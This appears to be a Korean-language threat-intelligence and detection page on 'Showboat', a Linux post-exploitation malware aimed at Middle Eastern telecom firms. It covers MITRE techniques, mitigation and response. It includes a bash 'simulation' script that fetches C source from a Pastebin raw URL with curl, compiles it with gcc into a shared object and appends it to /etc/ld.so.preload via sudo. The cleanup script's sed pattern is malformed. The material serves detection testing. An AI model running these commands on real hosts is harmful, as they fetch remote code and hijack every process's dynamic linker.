쇼보트 악성코드, 2022년 이후 중동 통신 기업 대상 공격
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Showboat은 AMD x86-64 환경을 위해 구축된 모듈식 Linux 사후-익스플로잇 프레임워크입니다. 2022년 중반부터 활동을 시작했으며, 손상된 네트워크 내부에서 조용하고 장기적인 접근을 유지하도록 설계되었습니다. 이 악성코드는 XOR 암호화와 악성 프로세스를 숨기기 위한 동적 링커의 남용 등 고급 회피 방법을 사용합니다.
조사
조사는 Chengdu, 중국에 있는 명령 및 제어 인프라로 추적되었으며, 관찰된 전술, 기법, 절차와 함께 PRC 정렬된 위협 행위자와의 연관성을 시사합니다. 기술 분석은 악성코드가 하드코딩된 XOR 키에 의존하여 구성을 해독하고 ld.so.preload 를 악용하여 감염된 시스템에서 은밀하게 작동함을 보여줍니다.
완화
방어자들은 /etc/ld.so.preload 에 대한 무단 변경 및 gcc 컴파일러의 의심스러운 사용을 모니터링해야 합니다. 또한, 타이밍이 무작위화되더라도 비콘 행동을 식별할 수 있는 네트워크 모니터링을 배치하고 중요한 시스템 라이브러리의 무결성 모니터링을 사용하는 것이 권장됩니다.
대응
Showboat 활동이 탐지된 경우, 영향을 받은 Linux 시스템을 네트워크에서 즉시 격리하여 추가적인 명령 및 제어 트래픽을 중지하십시오. 메모리 포렌식을 수행하여 주입된 공유 객체를 식별하고 모든 지속성 메커니즘이 제거되었는지 확인하기 위해 시스템 설정 및 예약된 작업의 전체 감사을 수행하십시오.
graph TB %% 클래스 정의 classDef action fill:#99ccff classDef builtin fill:#cccccc classDef malware_entity fill:#ff9999 classDef network fill:#99ff99 %% 노드 정의 %% 단계 1: 초기 구성 action_decryption[“<b>행위</b> – <b>T1027: 난독화된 파일 또는 정보</b><br/>하드코딩된 키 look me, AV!를 사용하여<br/>XOR 방식으로 암호화된 설정 정보 복호화<br/>대상: telecom.webredirect[.]org”] class action_decryption action %% 단계 2: C2 및 데이터 유출 malware_showboat[“<b>악성코드</b> – <b>Showboat</b><br/>침해 후 수명 주기 관리를 위한 에이전트”] class malware_showboat malware_entity action_beaconing[“<b>행위</b> – <b>T1071: 애플리케이션 계층 프로토콜</b><br/>하트비트 비콘을 통해 C2 통신 수립<br/>탐지를 회피하기 위해 무작위 대기 간격 사용”] class action_beaconing action action_exfiltration[“<b>행위</b> – <b>T1029: 예약 전송</b><br/>호스트 정보와 스크린샷을 JSON 형식으로 묶음<br/>데이터를 암호화하고 Base64 인코딩 수행<br/>회피를 위해 PNG 필드 내 스테가노그래피 사용”] class action_exfiltration action %% 단계 3: 은닉 및 지속성 action_fetch_source[“<b>행위</b> – <b>T1105: 인그레스 툴 전송</b><br/>C 소스 파일 ukpkmkk.c 획득<br/>출처: Pastebin URL”] class action_fetch_source action action_compile[“<b>행위</b> – <b>T1059: 명령 및 스크립트 인터프리터</b><br/>피해자 시스템에서 ukpkmkk.c를 로컬 컴파일<br/>악성 공유 라이브러리 생성”] class action_compile action action_hijack[“<b>행위</b> – <b>T1574.006: 실행 흐름 하이재킹: 동적 링커 하이재킹</b><br/>ld.so.preload 메커니즘 사용<br/>/tmp/ukpkmkk.so를 프로세스에 주입”] class action_hijack action action_stealth[“<b>행위</b> – <b>T1564: 아티팩트 숨기기</b><br/>readdir() 같은 시스템 호출 후킹<br/>필터 목록을 사용하여 ps와 top에서 프로세스 은닉”] class action_stealth action %% 연결 malware_showboat –>|실행| action_decryption action_decryption –>|설정| action_beaconing action_beaconing –>|데이터_유출| action_exfiltration action_exfiltration –>|은닉_명령_실행| action_fetch_source action_fetch_source –>|연결| action_compile action_compile –>|라이브러리_생성| action_hijack action_hijack –>|달성| action_stealth %% 최종 흐름 action_stealth -.->|유지| malware_showboat
공격 흐름
시뮬레이션 실행
전제조건: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술적 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령과 서술은 식별된 TTP와 직접적으로 일치해야 하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다. 추상적이거나 관련 없는 예는 오진을 초래할 것입니다.
-
공격 서술 및 명령: 공격자는 시스템 호출의 지속적인 가로채기를 목표로 합니다. 그들은 먼저
curl을 사용하여 Pastebin raw URL에서 악성 C 소스 파일을 다운로드합니다. 다운로드 후,gcc을 사용하여-sharedand-fPIC플래그와 함께 소스를malicious.so라는 이름의 공유 객체 파일로 컴파일합니다. 마지막으로, 이 라이브러리의 경로를/etc/ld.so.preload에 추가하여 지속성을 달성하려고 시도합니다. 이 시퀀스는 시스템의 모든 프로세스에 악성 라이브러리를 주입하도록 설계되었습니다. -
회귀 테스트 스크립트:
#!/bin/bash # Showboat 악성코드 TTP 시뮬레이션 # 1. Pastebin에서 C 소스 페치 시뮬레이션 # 주: 실제 raw pastebin 링크(논리를 위한 모의 사용) 또는 문자열 시뮬레이션 echo "모의 Pastebin 다운로드 시뮬레이션 생성 중..." echo 'void __attribute__((constructor)) init() {}' > fake_malware.c # 이 명령은 'selection_fetch' 규칙 부분을 트리거합니다 curl -s https://pastebin.com/raw/example_id -o fake_malware.c # 2. 공유 객체 컴파일 시뮬레이션 # 이 명령은 'selection_compile' 규칙 부분을 트리거합니다 # (selection_fetch AND selection_compile) gcc -shared -fPIC -o /tmp/malicious.so fake_malware.c # 3. ld.so.preload 수정 시뮬레이션 # 이 명령은 'selection_preload' 규칙 부분을 트리거합니다 echo "/tmp/malicious.so" | sudo tee -a /etc/ld.so.preload echo "시뮬레이션 완료. SIEM에서 경고를 확인하십시오." -
정리 명령:
#!/bin/bash # 시뮬레이션 아티팩트 정리 # 악성 라이브러리 및 소스 제거 sudo rm -f /tmp/malicious.so rm -f fake_malware.c # ld.so.preload의 항목 제거 (주의 필요) # 이 sed 명령은 /tmp/malicious.so를 포함하는 줄을 제거합니다 sudo sed -i '//tmp/malicious.so/d' /etc/ld.so.preload echo "정리 완료."